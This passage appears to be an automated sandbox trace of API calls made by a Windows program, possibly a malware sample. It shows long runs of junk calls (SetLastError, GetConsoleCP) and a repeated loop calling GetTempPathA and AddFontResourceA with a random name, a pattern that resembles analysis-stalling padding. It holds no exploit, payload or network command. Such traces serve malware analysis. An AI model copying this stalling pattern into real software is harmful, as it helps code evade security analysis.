	[0064.117] SetLastError (dwErrCode=0x0) 
	[0064.117] GetLastError () returned 0x0
	[0064.117] SetLastError (dwErrCode=0x0) 
	[0064.117] GetLastError () returned 0x0
	[0064.117] SetLastError (dwErrCode=0x0) 
	[0064.117] GetLastError () returned 0x0
	[0064.117] SetLastError (dwErrCode=0x0) 
	[0064.117] GetLastError () returned 0x0
	[0064.117] SetLastError (dwErrCode=0x0) 
	[0064.117] GetLastError () returned 0x0
	[0064.117] SetLastError (dwErrCode=0x0) 
	[0064.117] GetLastError () returned 0x0
	[0064.117] SetLastError (dwErrCode=0x0) 
	[0064.117] GetLastError () returned 0x0
	[0064.117] SetLastError (dwErrCode=0x0) 
	[0064.117] GetLastError () returned 0x0
	[0064.117] SetLastError (dwErrCode=0x0) 
	[0064.117] GetLastError () returned 0x0
	[0064.120] SetLastError (dwErrCode=0x0) 
	[0064.120] GetLastError () returned 0x0
	[0064.120] SetLastError (dwErrCode=0x0) 
	[0064.120] GetLastError () returned 0x0
	[0064.120] SetLastError (dwErrCode=0x0) 
	[0064.120] GetLastError () returned 0x0
	[0064.120] SetLastError (dwErrCode=0x0) 
	[0064.120] GetLastError () returned 0x0
	[0064.120] SetLastError (dwErrCode=0x0) 
	[0064.120] GetLastError () returned 0x0
	[0064.120] SetLastError (dwErrCode=0x0) 
	[0064.120] GetLastError () returned 0x0
	[0064.120] SetLastError (dwErrCode=0x0) 
	[0064.120] GetLastError () returned 0x0
	[0064.120] SetLastError (dwErrCode=0x0) 
	[0064.120] GetLastError () returned 0x0
	[0064.120] SetLastError (dwErrCode=0x0) 
	[0064.120] GetLastError () returned 0x0
	[0064.120] SetLastError (dwErrCode=0x0) 
	[0064.120] GetLastError () returned 0x0
	[0064.120] SetLastError (dwErrCode=0x0) 
	[0064.120] GetLastError () returned 0x0
	[0064.120] SetLastError (dwErrCode=0x0) 
	[0064.120] GetLastError () returned 0x0
	[0064.120] SetLastError (dwErrCode=0x0) 
	[0064.121] GetLastError () returned 0x0
	[0064.121] SetLastError (dwErrCode=0x0) 
	[0064.121] GetLastError () returned 0x0
	[0064.121] SetLastError (dwErrCode=0x0) 
	[0064.121] GetLastError () returned 0x0
	[0064.121] SetLastError (dwErrCode=0x0) 
	[0064.121] GetLastError () returned 0x0
	[0064.121] SetLastError (dwErrCode=0x0) 
	[0064.121] GetLastError () returned 0x0
	[0064.121] SetLastError (dwErrCode=0x0) 
	[0064.121] GetLastError () returned 0x0
	[0064.121] SetLastError (dwErrCode=0x0) 
	[0064.121] GetLastError () returned 0x0
	[0064.121] SetLastError (dwErrCode=0x0) 
	[0064.121] GetLastError () returned 0x0
	[0064.121] SetLastError (dwErrCode=0x0) 
	[0064.121] GetLastError () returned 0x0
	[0064.121] SetLastError (dwErrCode=0x0) 
	[0064.121] GetLastError () returned 0x0
	[0064.121] SetLastError (dwErrCode=0x0) 
	[0064.121] GetLastError () returned 0x0
	[0064.121] SetLastError (dwErrCode=0x0) 
	[0064.121] GetLastError () returned 0x0
	[0064.121] SetLastError (dwErrCode=0x0) 
	[0064.121] GetLastError () returned 0x0
	[0064.121] SetLastError (dwErrCode=0x0) 
	[0064.121] GetLastError () returned 0x0
	[0064.121] SetLastError (dwErrCode=0x0) 
	[0064.121] GetLastError () returned 0x0
	[0064.121] SetLastError (dwErrCode=0x0) 
	[0064.121] GetLastError () returned 0x0
	[0064.121] SetLastError (dwErrCode=0x0) 
	[0064.121] GetLastError () returned 0x0
	[0064.121] SetLastError (dwErrCode=0x0) 
	[0064.121] GetLastError () returned 0x0
	[0064.121] SetLastError (dwErrCode=0x0) 
	[0064.121] GetLastError () returned 0x0
	[0064.122] SetLastError (dwErrCode=0x0) 
	[0064.122] GetLastError () returned 0x0
	[0064.122] SetLastError (dwErrCode=0x0) 
	[0064.122] GetLastError () returned 0x0
	[0064.122] SetLastError (dwErrCode=0x0) 
	[0064.122] GetLastError () returned 0x0
	[0064.122] SetLastError (dwErrCode=0x0) 
	[0064.123] GetLastError () returned 0x0
	[0064.123] SetLastError (dwErrCode=0x0) 
	[0064.123] GetLastError () returned 0x0
	[0064.123] SetLastError (dwErrCode=0x0) 
	[0064.123] lstrlenA (lpString="") returned 0
	[0064.123] GetConsoleCP () returned 0x0
	[0064.123] GetConsoleCP () returned 0x0
	[0064.123] GetConsoleCP () returned 0x0
	[0064.123] GetConsoleCP () returned 0x0
	[0064.123] GetConsoleCP () returned 0x0
	[0064.123] GetConsoleCP () returned 0x0
	[0064.123] GetConsoleCP () returned 0x0
	[0064.123] GetConsoleCP () returned 0x0
	[0064.123] GetConsoleCP () returned 0x0
	[0064.123] GetConsoleCP () returned 0x0
	[0064.123] GetConsoleCP () returned 0x0
	[0064.123] GetConsoleCP () returned 0x0
	[0064.124] GetConsoleCP () returned 0x0
	[0064.124] GetConsoleCP () returned 0x0
	[0064.124] GetConsoleCP () returned 0x0
	[0064.124] GetConsoleCP () returned 0x0
	[0064.124] GetConsoleCP () returned 0x0
	[0064.124] GetConsoleCP () returned 0x0
	[0064.124] GetConsoleCP () returned 0x0
	[0064.124] GetConsoleCP () returned 0x0
	[0064.124] GetConsoleCP () returned 0x0
	[0064.124] GetConsoleCP () returned 0x0
	[0064.124] GetConsoleCP () returned 0x0
	[0064.124] GetConsoleCP () returned 0x0
	[0064.124] GetConsoleCP () returned 0x0
	[0064.124] GetConsoleCP () returned 0x0
	[0064.124] GetConsoleCP () returned 0x0
	[0064.124] GetConsoleCP () returned 0x0
	[0064.124] GetConsoleCP () returned 0x0
	[0064.124] GetConsoleCP () returned 0x0
	[0064.124] GetConsoleCP () returned 0x0
	[0064.124] GetConsoleCP () returned 0x0
	[0064.124] GetConsoleCP () returned 0x0
	[0064.124] GetConsoleCP () returned 0x0
	[0064.124] GetConsoleCP () returned 0x0
	[0064.124] GetConsoleCP () returned 0x0
	[0064.124] GetConsoleCP () returned 0x0
	[0064.124] GetConsoleCP () returned 0x0
	[0064.124] GetConsoleCP () returned 0x0
	[0064.124] GetConsoleCP () returned 0x0
	[0064.124] GetConsoleCP () returned 0x0
	[0064.124] GetConsoleCP () returned 0x0
	[0064.124] GetConsoleCP () returned 0x0
	[0064.124] GetConsoleCP () returned 0x0
	[0064.124] GetConsoleCP () returned 0x0
	[0064.124] GetConsoleCP () returned 0x0
	[0064.124] GetConsoleCP () returned 0x0
	[0064.124] GetConsoleCP () returned 0x0
	[0064.124] GetConsoleCP () returned 0x0
	[0064.124] GetConsoleCP () returned 0x0
	[0064.124] GetConsoleCP () returned 0x0
	[0064.124] GetConsoleCP () returned 0x0
	[0064.124] GetConsoleCP () returned 0x0
	[0064.124] GetConsoleCP () returned 0x0
	[0064.124] GetConsoleCP () returned 0x0
	[0064.124] GetConsoleCP () returned 0x0
	[0064.124] GetConsoleCP () returned 0x0
	[0064.124] GetConsoleCP () returned 0x0
	[0064.124] GetConsoleCP () returned 0x0
	[0064.124] GetConsoleCP () returned 0x0
	[0064.124] GetConsoleCP () returned 0x0
	[0064.124] GetConsoleCP () returned 0x0
	[0064.124] GetConsoleCP () returned 0x0
	[0064.124] GetConsoleCP () returned 0x0
	[0064.124] GetConsoleCP () returned 0x0
	[0064.125] GetConsoleCP () returned 0x0
	[0064.125] GetConsoleCP () returned 0x0
	[0064.125] GetConsoleCP () returned 0x0
	[0064.125] GetConsoleCP () returned 0x0
	[0064.125] GetConsoleCP () returned 0x0
	[0064.125] GetConsoleCP () returned 0x0
	[0064.125] GetConsoleCP () returned 0x0
	[0064.125] GetConsoleCP () returned 0x0
	[0064.125] GetConsoleCP () returned 0x0
	[0064.125] GetConsoleCP () returned 0x0
	[0064.125] GetConsoleCP () returned 0x0
	[0064.125] GetConsoleCP () returned 0x0
	[0064.125] GetConsoleCP () returned 0x0
	[0064.125] GetConsoleCP () returned 0x0
	[0064.125] GetConsoleCP () returned 0x0
	[0064.125] GetConsoleCP () returned 0x0
	[0064.125] GetConsoleCP () returned 0x0
	[0064.125] GetConsoleCP () returned 0x0
	[0064.125] GetConsoleCP () returned 0x0
	[0064.125] GetConsoleCP () returned 0x0
	[0064.125] GetConsoleCP () returned 0x0
	[0064.125] GetConsoleCP () returned 0x0
	[0064.125] GetConsoleCP () returned 0x0
	[0064.125] GetConsoleCP () returned 0x0
	[0064.125] GetConsoleCP () returned 0x0
	[0064.125] GetConsoleCP () returned 0x0
	[0064.125] GetConsoleCP () returned 0x0
	[0064.125] GetConsoleCP () returned 0x0
	[0064.125] GetConsoleCP () returned 0x0
	[0064.125] GetConsoleCP () returned 0x0
	[0064.125] GetConsoleCP () returned 0x0
	[0064.125] GetConsoleCP () returned 0x0
	[0064.125] GetConsoleCP () returned 0x0
	[0064.125] GetConsoleCP () returned 0x0
	[0064.125] GetConsoleCP () returned 0x0
	[0064.125] GetConsoleCP () returned 0x0
	[0064.125] GetConsoleCP () returned 0x0
	[0064.125] GetConsoleCP () returned 0x0
	[0064.125] GetConsoleCP () returned 0x0
	[0064.125] GetConsoleCP () returned 0x0
	[0064.125] GetConsoleCP () returned 0x0
	[0064.125] GetConsoleCP () returned 0x0
	[0064.125] GetConsoleCP () returned 0x0
	[0064.125] GetConsoleCP () returned 0x0
	[0064.125] GetConsoleCP () returned 0x0
	[0064.125] GetConsoleCP () returned 0x0
	[0064.125] GetConsoleCP () returned 0x0
	[0064.125] GetConsoleCP () returned 0x0
	[0064.125] GetConsoleCP () returned 0x0
	[0064.125] GetConsoleCP () returned 0x0
	[0064.125] GetConsoleCP () returned 0x0
	[0064.125] GetConsoleCP () returned 0x0
	[0064.125] GetConsoleCP () returned 0x0
	[0064.126] GetConsoleCP () returned 0x0
	[0064.126] GetConsoleCP () returned 0x0
	[0064.126] GetConsoleCP () returned 0x0
	[0064.126] GetConsoleCP () returned 0x0
	[0064.126] GetConsoleCP () returned 0x0
	[0064.126] GetConsoleCP () returned 0x0
	[0064.126] GetConsoleCP () returned 0x0
	[0064.126] GetConsoleCP () returned 0x0
	[0064.126] GetConsoleCP () returned 0x0
	[0064.126] GetConsoleCP () returned 0x0
	[0064.126] GetConsoleCP () returned 0x0
	[0064.126] GetConsoleCP () returned 0x0
	[0064.126] GetConsoleCP () returned 0x0
	[0064.126] GetConsoleCP () returned 0x0
	[0064.126] GetConsoleCP () returned 0x0
	[0064.126] GetConsoleCP () returned 0x0
	[0064.126] GetConsoleCP () returned 0x0
	[0064.126] GetConsoleCP () returned 0x0
	[0064.126] GetConsoleCP () returned 0x0
	[0064.126] GetConsoleCP () returned 0x0
	[0064.126] GetConsoleCP () returned 0x0
	[0064.126] GetConsoleCP () returned 0x0
	[0064.126] GetConsoleCP () returned 0x0
	[0064.126] GetConsoleCP () returned 0x0
	[0064.126] GetConsoleCP () returned 0x0
	[0064.126] GetConsoleCP () returned 0x0
	[0064.126] GetConsoleCP () returned 0x0
	[0064.126] GetConsoleCP () returned 0x0
	[0064.126] GetConsoleCP () returned 0x0
	[0064.126] GetConsoleCP () returned 0x0
	[0064.126] GetConsoleCP () returned 0x0
	[0064.126] GetConsoleCP () returned 0x0
	[0064.126] GetConsoleCP () returned 0x0
	[0064.126] GetConsoleCP () returned 0x0
	[0064.126] GetConsoleCP () returned 0x0
	[0064.126] GetConsoleCP () returned 0x0
	[0064.126] GetConsoleCP () returned 0x0
	[0064.126] GetConsoleCP () returned 0x0
	[0064.126] GetConsoleCP () returned 0x0
	[0064.126] GetConsoleCP () returned 0x0
	[0064.126] GetConsoleCP () returned 0x0
	[0064.126] GetConsoleCP () returned 0x0
	[0064.126] GetConsoleCP () returned 0x0
	[0064.126] GetConsoleCP () returned 0x0
	[0064.126] GetConsoleCP () returned 0x0
	[0064.126] GetConsoleCP () returned 0x0
	[0064.126] GetConsoleCP () returned 0x0
	[0064.126] GetConsoleCP () returned 0x0
	[0064.126] GetConsoleCP () returned 0x0
	[0064.126] GetConsoleCP () returned 0x0
	[0064.126] GetConsoleCP () returned 0x0
	[0064.126] GetConsoleCP () returned 0x0
	[0064.127] GetConsoleCP () returned 0x0
	[0064.127] GetConsoleCP () returned 0x0
	[0064.127] GetConsoleCP () returned 0x0
	[0064.127] GetConsoleCP () returned 0x0
	[0064.127] GetConsoleCP () returned 0x0
	[0064.127] GetConsoleCP () returned 0x0
	[0064.127] GetConsoleCP () returned 0x0
	[0064.127] GetConsoleCP () returned 0x0
	[0064.127] GetConsoleCP () returned 0x0
	[0064.127] GetConsoleCP () returned 0x0
	[0064.127] GetConsoleCP () returned 0x0
	[0064.127] GetConsoleCP () returned 0x0
	[0064.127] GetConsoleCP () returned 0x0
	[0064.127] GetConsoleCP () returned 0x0
	[0064.127] GetConsoleCP () returned 0x0
	[0064.127] GetConsoleCP () returned 0x0
	[0064.127] GetConsoleCP () returned 0x0
	[0064.127] GetConsoleCP () returned 0x0
	[0064.127] GetConsoleCP () returned 0x0
	[0064.127] GetConsoleCP () returned 0x0
	[0064.127] GetConsoleCP () returned 0x0
	[0064.127] GetConsoleCP () returned 0x0
	[0064.127] GetConsoleCP () returned 0x0
	[0064.127] GetConsoleCP () returned 0x0
	[0064.127] GetConsoleCP () returned 0x0
	[0064.127] GetConsoleCP () returned 0x0
	[0064.127] GetConsoleCP () returned 0x0
	[0064.127] GetConsoleCP () returned 0x0
	[0064.127] GetConsoleCP () returned 0x0
	[0064.127] GetConsoleCP () returned 0x0
	[0064.127] GetConsoleCP () returned 0x0
	[0064.127] GetConsoleCP () returned 0x0
	[0064.127] GetConsoleCP () returned 0x0
	[0064.127] GetConsoleCP () returned 0x0
	[0064.127] GetConsoleCP () returned 0x0
	[0064.127] GetConsoleCP () returned 0x0
	[0064.127] GetConsoleCP () returned 0x0
	[0064.127] GetConsoleCP () returned 0x0
	[0064.127] GetConsoleCP () returned 0x0
	[0064.127] GetConsoleCP () returned 0x0
	[0064.127] GetConsoleCP () returned 0x0
	[0064.127] GetConsoleCP () returned 0x0
	[0064.127] GetConsoleCP () returned 0x0
	[0064.127] GetConsoleCP () returned 0x0
	[0064.127] GetConsoleCP () returned 0x0
	[0064.127] GetConsoleCP () returned 0x0
	[0064.127] GetConsoleCP () returned 0x0
	[0064.127] GetConsoleCP () returned 0x0
	[0064.127] GetConsoleCP () returned 0x0
	[0064.127] GetConsoleCP () returned 0x0
	[0064.127] GetConsoleCP () returned 0x0
	[0064.127] GetConsoleCP () returned 0x0
	[0064.127] GetConsoleCP () returned 0x0
	[0064.128] GetConsoleCP () returned 0x0
	[0064.128] GetConsoleCP () returned 0x0
	[0064.128] GetConsoleCP () returned 0x0
	[0064.128] GetConsoleCP () returned 0x0
	[0064.128] GetConsoleCP () returned 0x0
	[0064.128] GetConsoleCP () returned 0x0
	[0064.128] GetConsoleCP () returned 0x0
	[0064.128] GetConsoleCP () returned 0x0
	[0064.128] GetConsoleCP () returned 0x0
	[0064.128] GetConsoleCP () returned 0x0
	[0064.128] GetConsoleCP () returned 0x0
	[0064.128] GetConsoleCP () returned 0x0
	[0064.128] GetConsoleCP () returned 0x0
	[0064.128] GetConsoleCP () returned 0x0
	[0064.128] GetConsoleCP () returned 0x0
	[0064.128] GetConsoleCP () returned 0x0
	[0064.128] GetConsoleCP () returned 0x0
	[0064.128] GetConsoleCP () returned 0x0
	[0064.128] GetConsoleCP () returned 0x0
	[0064.128] GetConsoleCP () returned 0x0
	[0064.128] GetConsoleCP () returned 0x0
	[0064.128] GetConsoleCP () returned 0x0
	[0064.128] GetConsoleCP () returned 0x0
	[0064.128] GetConsoleCP () returned 0x0
	[0064.128] GetConsoleCP () returned 0x0
	[0064.128] GetConsoleCP () returned 0x0
	[0064.128] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.128] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.128] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.147] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.147] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.147] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.150] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.150] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.150] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.153] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.153] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.153] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.155] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.155] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.155] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.157] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.157] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.157] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.160] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.160] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.160] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.162] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.162] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.162] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.168] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.168] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.168] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.170] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.170] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.170] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.173] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.173] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.173] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.175] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.175] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.175] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.178] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.178] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.178] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.181] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.181] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.181] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.183] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.183] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.183] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.185] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.185] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.185] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.188] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.188] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.188] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.190] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.190] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.190] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.192] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.192] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.192] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.195] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.195] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.195] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.198] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.198] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.198] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.200] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.200] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.200] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.203] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.203] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.203] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.205] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.205] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.205] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.207] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.207] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.207] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.210] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
